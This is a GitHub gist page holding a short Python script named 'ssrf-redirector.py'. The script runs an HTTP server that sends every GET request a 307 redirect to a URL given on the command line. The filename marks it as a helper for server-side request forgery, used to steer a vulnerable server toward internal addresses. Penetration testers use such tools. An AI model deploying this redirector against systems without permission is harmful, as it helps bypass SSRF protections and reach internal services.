Skip to content

Instantly share code, notes, and snippets.

@hotplugin0x01
Forked from emadshanab/ssrf-redirector.py
Created December 21, 2022 21:13
Show Gist options
  • Save hotplugin0x01/81de86d96d9734d3a7cf3633dbeca782 to your computer and use it in GitHub Desktop.
Save hotplugin0x01/81de86d96d9734d3a7cf3633dbeca782 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python3
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
if len(sys.argv)-1 != 2:
print("""
Usage: {} <port_number> <url>
""".format(sys.argv[0]))
sys.exit()
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(307)
self.send_header('Location', sys.argv[2])
self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment